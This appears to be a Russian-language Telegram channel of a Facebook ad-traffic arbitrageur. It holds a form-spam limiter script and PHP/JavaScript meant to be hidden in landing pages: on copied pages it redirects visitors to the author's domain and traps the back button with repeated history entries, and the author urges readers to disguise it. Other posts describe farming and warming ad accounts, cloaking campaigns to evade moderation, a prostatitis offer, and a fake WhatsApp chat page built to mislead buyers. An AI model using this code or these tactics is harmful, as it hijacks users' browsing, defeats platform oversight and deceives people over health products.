Если хотите подключить универсальную маску на форму в инпут с номером телефона, 📲 можете разместить этот код перед закрывающим тегом </body> в самом низу страницы:
<script src="https://leontev-e.github.io/my-scripts/boostclicks-script.js"></script>
🚀 Суперского дня!
🧠 Сегодня делюсь с вами крутым скриптом, который предотвращает спам от одного пользователя на вашем сайте. Защита от долбоебов – это важно, так что давайте разберёмся, как всё работает!
📝 Скрипт вешается на форму и отслеживает, сколько раз форма была отправлена с одного браузера в течение последних 24 часов. Если попыток отправки больше двух, скрипт перенаправляет юзера на страницу с ошибкой. Никаких лишних отправок, никаких спам-лидов!
Как это работает?
Слушаем событие загрузки: Скрипт начинает работать, когда вся страница полностью загружена.
Отлавливаем отправку формы: При попытке отправить форму скрипт сначала перехватывает это действие (preventDefault), чтобы выполнить свои проверки.
Проверяем локальное хранилище: Скрипт смотрит, сколько раз форма была отправлена с этого устройства за последние 24 часа.
Принимаем решение: Если отправок было больше двух, юзера отправляют на страницу с ошибкой. Если нет – добавляем текущую метку времени в лог и разрешаем отправку формы.
🔧 Это идеальный способ сохранить качество трафа и защититься от спама. Используйте его на своих лендингах, чтобы держать всё под контролем!
👉 Если вам нужно что-то ещё по теме защиты форм, прокл или есть вопросы – пишите, обсудим!
💡 Скрипт лучше всего подключать в низу страницы, перед закрывающим тегом </body>
🧠 Сегодня делюсь с вами крутым скриптом, который предотвращает спам от одного пользователя на вашем сайте. Защита от долбоебов – это важно, так что давайте разберёмся, как всё работает!
📝 Скрипт вешается на форму и отслеживает, сколько раз форма была отправлена с одного браузера в течение последних 24 часов. Если попыток отправки больше двух, скрипт перенаправляет юзера на страницу с ошибкой. Никаких лишних отправок, никаких спам-лидов!
Как это работает?
Слушаем событие загрузки: Скрипт начинает работать, когда вся страница полностью загружена.
Отлавливаем отправку формы: При попытке отправить форму скрипт сначала перехватывает это действие (preventDefault), чтобы выполнить свои проверки.
Проверяем локальное хранилище: Скрипт смотрит, сколько раз форма была отправлена с этого устройства за последние 24 часа.
Принимаем решение: Если отправок было больше двух, юзера отправляют на страницу с ошибкой. Если нет – добавляем текущую метку времени в лог и разрешаем отправку формы.
🔧 Это идеальный способ сохранить качество трафа и защититься от спама. Используйте его на своих лендингах, чтобы держать всё под контролем!
👉 Если вам нужно что-то ещё по теме защиты форм, прокл или есть вопросы – пишите, обсудим!
💡 Скрипт лучше всего подключать в низу страницы, перед закрывающим тегом </body>
document.addEventListener("DOMContentLoaded", function () {
const form = document.querySelector("form");
form.addEventListener("submit", function (event) {
event.preventDefault();
const now = Date.now();
const requestLogs = JSON.parse(localStorage.getItem('requestLogs')) || [];
const filteredLogs = requestLogs.filter(log => (now - log.timestamp) < 24 * 60 * 60 * 1000);
if (filteredLogs.length >= 2) {
window.location.href = 'error.php';
} else {
filteredLogs.push({ timestamp: now });
localStorage.setItem('requestLogs', JSON.stringify(filteredLogs));
form.submit();
}
});
});
👍3
Как то сегодня тухленько все у меня идет 🫣
Отклонов процентов 80, старые крео пачкой перестали конвертить.
И под конец рабочего дня еще полиси словил.
Ну да ладно. Будет новый день, мы еще покажем этим засранцам (FB) как мы отливаем🔞
Отклонов процентов 80, старые крео пачкой перестали конвертить.
И под конец рабочего дня еще полиси словил.
Ну да ладно. Будет новый день, мы еще покажем этим засранцам (FB) как мы отливаем
Please open Telegram to view this post
VIEW IN TELEGRAM
Хотел написать статью на сайте, но да ладно... Пусть каждый подумает, как можно упаковать и замаскировать данный функционал.
Есть у нас Кейтаро, в нем привязано много доменов и куча компаний. Все домены прокинуты через Cloudflare. Все здорово. Но мы не очень рады, когда у нас угоняют проклы. Покажу пример, как возвращать трафик с угнанных прокл...
Метод написан базовый, как я уже сказал, нужно подумать, как его замаскировать и доработать.
Шаг 1: Размещаем код в самом верху страницы перед тегом <html>
Соответственно, страница должна быть в расширении .php.
Шаг 2: Перед закрывающим тегом </head> размещаем код проверки и редиректа на наш URL:
Что делает код:
- Проверяет, с какого IP открыт сайт.
- Сравнивает данный IP с нашим (на котором установлен Кейтаро).
- Если IP адрес не совпадает, через 20 секунд делается редирект на наш URL.
- Если сайт открыт локально с компьютера, редирект не выполняется.
Можно доработать и дописать код так, чтобы он срабатывал, например, только если юзер агент Facebook или Instagram, но эту часть я оставлю вам. 😉
Есть у нас Кейтаро, в нем привязано много доменов и куча компаний. Все домены прокинуты через Cloudflare. Все здорово. Но мы не очень рады, когда у нас угоняют проклы. Покажу пример, как возвращать трафик с угнанных прокл...
Метод написан базовый, как я уже сказал, нужно подумать, как его замаскировать и доработать.
Шаг 1: Размещаем код в самом верху страницы перед тегом <html>
<?php
// IP-адрес вашего сервера
$expected_ip = '185.185.185.185';
// Попробуем получить IP-адрес сервера разными методами
$server_ip = $_SERVER['SERVER_ADDR'] ?? getenv('SERVER_ADDR') ?? gethostbyname(gethostname());
// Дополнительные методы для получения IP-адреса
if (!$server_ip || $server_ip == 'UNKNOWN') {
if (isset($_SERVER['LOCAL_ADDR'])) {
$server_ip = $_SERVER['LOCAL_ADDR'];
} elseif (function_exists('shell_exec')) {
$server_ip = trim(shell_exec("hostname -I | awk '{print $1}'"));
}
}
// Если не удалось получить IP-адрес, установить значение 'UNKNOWN'
if (!$server_ip) {
$server_ip = 'UNKNOWN';
}
?>
Соответственно, страница должна быть в расширении .php.
Шаг 2: Перед закрывающим тегом </head> размещаем код проверки и редиректа на наш URL:
<script>
(function () {
const expectedIp = '<?php echo $expected_ip; ?>';
const serverIp = '<?php echo $server_ip; ?>';
const redirectUrlBase = "https://down-web.ru/?";
let params = (new URL(document.location)).searchParams;
let redirectUrl = redirectUrlBase;
// Формируем новый URL для перенаправления с учетом параметров
params.forEach(function (value, key) {
redirectUrl += key + '=' + value + '&';
});
// Удаляем последний символ "&" из строки, если он есть
redirectUrl = redirectUrl.slice(0, -1);
function isLocalhost() {
return window.location.hostname === "localhost" ||
window.location.hostname === "127.0.0.1" ||
window.location.protocol === "file:";
}
function checkIpAndRedirect() {
if (!isLocalhost() && serverIp !== expectedIp) {
// IP не совпадает и сайт не открыт локально, делаем редирект через 20 секунд
setTimeout(function() {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", document.location);
onpopstate = function (t) {
t.state && location.replace(redirectUrl);
}
} catch (o) { }
location.replace(redirectUrl);
}, 20000); // 20 секунд
}
}
document.addEventListener("DOMContentLoaded", checkIpAndRedirect);
})();
</script>
Что делает код:
- Проверяет, с какого IP открыт сайт.
- Сравнивает данный IP с нашим (на котором установлен Кейтаро).
- Если IP адрес не совпадает, через 20 секунд делается редирект на наш URL.
- Если сайт открыт локально с компьютера, редирект не выполняется.
Можно доработать и дописать код так, чтобы он срабатывал, например, только если юзер агент Facebook или Instagram, но эту часть я оставлю вам. 😉
👍1
За последние 2 дня в проебе 5 кабов - ADS_INTEGRITY_POLICY 🫣
Но ничего, не жалко, у меня еще есть😜
Но ничего, не жалко, у меня еще есть
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥 Готовим и прогреваем ФПшки на максимум!
Заполняем профили по полной, пока не доведем до ОТЛИЧНОГО состояния. Прогрев делаем нейтральным контентом — ничего лишнего, только нужный нам результат.
🚀 Как запускаемся:
Через 3-4 дня после прогрева начинаю запускать рекламу. В первый день — только одно крео на одну кампанию, даю ему сутки, чтобы "повисело". Если сразу вваливать много, рискуем нарваться на полиси, а это нам точно не надо.
🐢 Лучше медленно, но верно:
В нынешних условиях важно не спешить. Идем потихоньку, не сливая бюджет, и строим рабочие сетапы для залива.
Заполняем профили по полной, пока не доведем до ОТЛИЧНОГО состояния. Прогрев делаем нейтральным контентом — ничего лишнего, только нужный нам результат.
🚀 Как запускаемся:
Через 3-4 дня после прогрева начинаю запускать рекламу. В первый день — только одно крео на одну кампанию, даю ему сутки, чтобы "повисело". Если сразу вваливать много, рискуем нарваться на полиси, а это нам точно не надо.
🐢 Лучше медленно, но верно:
В нынешних условиях важно не спешить. Идем потихоньку, не сливая бюджет, и строим рабочие сетапы для залива.
Завис сегодня в спае, и хочу поделиться активной связкой
ГЕО: Украина 🇺🇦
Направление: Простатит
Мне очень нравятся подобные лендинги, без огромной портянки унылого текста.
Крео и проклу прикрепил 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
down-web.zip
4.7 MB
Прокла к посту выше: Украина - простатит
При запуске на новых кабах старых и рабочих крео, в 100% случаев реджект - Недопустимые бизнес-модели. 😢
Решить проблему можно только на 100% уникальными крео. Они крутятся на новом кабе 3-4 дня, дальше пуляем уже свои старые и рабочие креосы без реджектов. 👌
Решить проблему можно только на 100% уникальными крео. Они крутятся на новом кабе 3-4 дня, дальше пуляем уже свои старые и рабочие креосы без реджектов. 👌
Сегодня решил затестить «правильный» залив 👇
Что мы имеем:
- платная клоака хайдклик
- прогретые лички
- чистые домены
- качественные вайты
Запускаемся:
На каждый каб запускаем 1 РК с 1 адсетом 1-1-1.
Крео уникальные от штатного диза
1 каб - 1 компания - 1 крео - 1 свежий домен.
Все это клоачим через хайдклик.
Результаты: 😲
1 каб прошла модерация, траф льется, все хорошо.
3 Каба бан Полиси 🤣
Ну как то так и живем)
Что мы имеем:
- платная клоака хайдклик
- прогретые лички
- чистые домены
- качественные вайты
Запускаемся:
На каждый каб запускаем 1 РК с 1 адсетом 1-1-1.
Крео уникальные от штатного диза
1 каб - 1 компания - 1 крео - 1 свежий домен.
Все это клоачим через хайдклик.
Результаты: 😲
3 Каба бан Полиси 🤣
Ну как то так и живем)
Please open Telegram to view this post
VIEW IN TELEGRAM
😁3
Прокла чаты...
Относительно недавно они появились и со старта показывали хорошие результаты, но на мой взгляд уже остыли и требуют значительных доработок.
Вчера решил сделать чат, с эмулятором whatsapp.
По мне получилось довольно интересно. Для юзера это обычная и родная по факту среда, которая не ассоциируется с моментами что ему пытаются что то впарить.
По факту можно сделать эмулятор любого приложения, будь то телеграмм или фейсбук с активной лентой и правильной подачей инфы для нашего клиента.
Вопрос времени и бюджета.
Данный сайт написан полностью на JS, в связи с чем могут возникнуть сложности с интеграций и переобувкой ленда под оффер. Но вы знаете к кому обратиться... 😉
На заказ могу сделать практически любой ленд или сайт, будь то аптека с товарами и отзывами, маркетплейс, соц сеть. Но как уже сказал ранее, вопрос целесообразности и бюджета играет ключевую роль.
Юзаем🎶
Относительно недавно они появились и со старта показывали хорошие результаты, но на мой взгляд уже остыли и требуют значительных доработок.
Вчера решил сделать чат, с эмулятором whatsapp.
По мне получилось довольно интересно. Для юзера это обычная и родная по факту среда, которая не ассоциируется с моментами что ему пытаются что то впарить.
По факту можно сделать эмулятор любого приложения, будь то телеграмм или фейсбук с активной лентой и правильной подачей инфы для нашего клиента.
Вопрос времени и бюджета.
Данный сайт написан полностью на JS, в связи с чем могут возникнуть сложности с интеграций и переобувкой ленда под оффер. Но вы знаете к кому обратиться... 😉
На заказ могу сделать практически любой ленд или сайт, будь то аптека с товарами и отзывами, маркетплейс, соц сеть. Но как уже сказал ранее, вопрос целесообразности и бюджета играет ключевую роль.
Юзаем
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2